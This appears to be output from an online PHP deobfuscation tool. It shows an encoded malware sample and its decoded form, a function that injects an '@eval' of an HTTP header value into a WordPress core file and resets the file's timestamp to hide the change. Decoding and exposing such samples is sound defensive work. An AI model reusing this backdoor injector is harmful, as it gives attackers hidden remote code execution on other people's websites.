Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode("jZL9b5pAGMd/969giQmaNYtgrSPLsnUora5Ci1VOlsUcxyGnx0HhUHHp/77D..

Decoded Output download


phpConfValidate('YTo0OntpOjA7czo1NzoiL2hvbWUvZ2VvbGdycC9nZi9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy9jYXBhYmlsaXRpZXMucGhwIjtpOjE7czo5ODoifmV2YWxbXlwoXG5ccl0qXChbXlwkXSpcJF9bQS1aXXs2fVteXFtdKlxbW15cJ1wiXSpbXCdcIl1IVFRQXzU4NDZEN0NbXCdcIl1bXlxdXSpcXVteXCldKlwpW147XSo7fnMiO2k6MjtzOjMyOiJAZXZhbCgkX1NFUlZFUlsnSFRUUF81ODQ2RDdDJ10pOyI7aTozO3M6MjY6In5eXHMqZnVuY3Rpb25ccyt3cF9yb2xlc35tIjt9');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (preg_match($systemEnv, $source)) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    
    $incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv);
    $newSource = preg_replace($incorrectRegex, '', $source);
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
    
    
    if (!preg_match($systemEnv, $newSource)) {
        return;
    }
    
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode("jZL9b5pAGMd/969giQmaNYtgrSPLsnUora5Ci1VOlsUcxyGnx0HhUHHp/77D974kGwncc9zz/TxvV0nCRI9ZMIaU+JDjmjx5jBsW44k1v26jTayYm5jcqeHSc0ZLVx0vvRu/QLrGXKKtfKefQccM4K3NPV1rIl1JvMjMfMemqNDmE/AjnEQ0g8BOXDDI0U246s1Ldrdkt6xOTIJorE6ctQfoKgY3LYRo4wnoYblfgGGC+obmPQwVCECmBmOOgcH9n3TtOUoL9ZUVET4e0H3Uo0pvbNgPYDO6NDtu12yYh/+CtfZLFij1OhX6VeIol20wjNsBGxBLXVwN5nxjzQeFRfrXLnBDT58tgGIaI+qKN2NDwx6NjM+K1XlQ7Y7f6SuNxCp6bfgYb6zmQOgnVz3WwuB28OSycT5p2omninoK3kSGVnjqmqJmi4v6Nbn+pRLkDHESM+n1BKoZTuvSn0pFEg8lGZdq1SCn9B7y8EKqZkXGcdRlS2Gj2MdiSSDnOGV16auUM6EmArXBNQ9m+Opy6uPSbYcVcUtqNYvzFGHhHxCKpzPMpyhmHDOenWLtfUkg1ZIUz6YR5CisvYi/w9TLbKX9k2Kep2wnfT4CPpwT9uke9cLYnuDsH6Rd7oShOE0x4jae4bWoIePpNMUJhUhcXyxLnyR5CbcLlS8k+fs3mKbbLSzk8wYemsHwanjoxzbPA+xVKMGST0W/Iz5P5FDSr8bv/aBEBve399OudSesl8dHyJ56+rxp3nn7T7L/6Vs56oiT6DD2rX02bumjpDR2spxRwhZvrsL2siT5e5flnSJ4nJcJn3kcowqP58pf")));

Function Calls

gzinflate 1
base64_decode 1
phpConfValidate 1

Variables

None

Stats

MD5 3a5f1885476c6783cc4209653a00c137
Eval Count 1
Decode Time 60 ms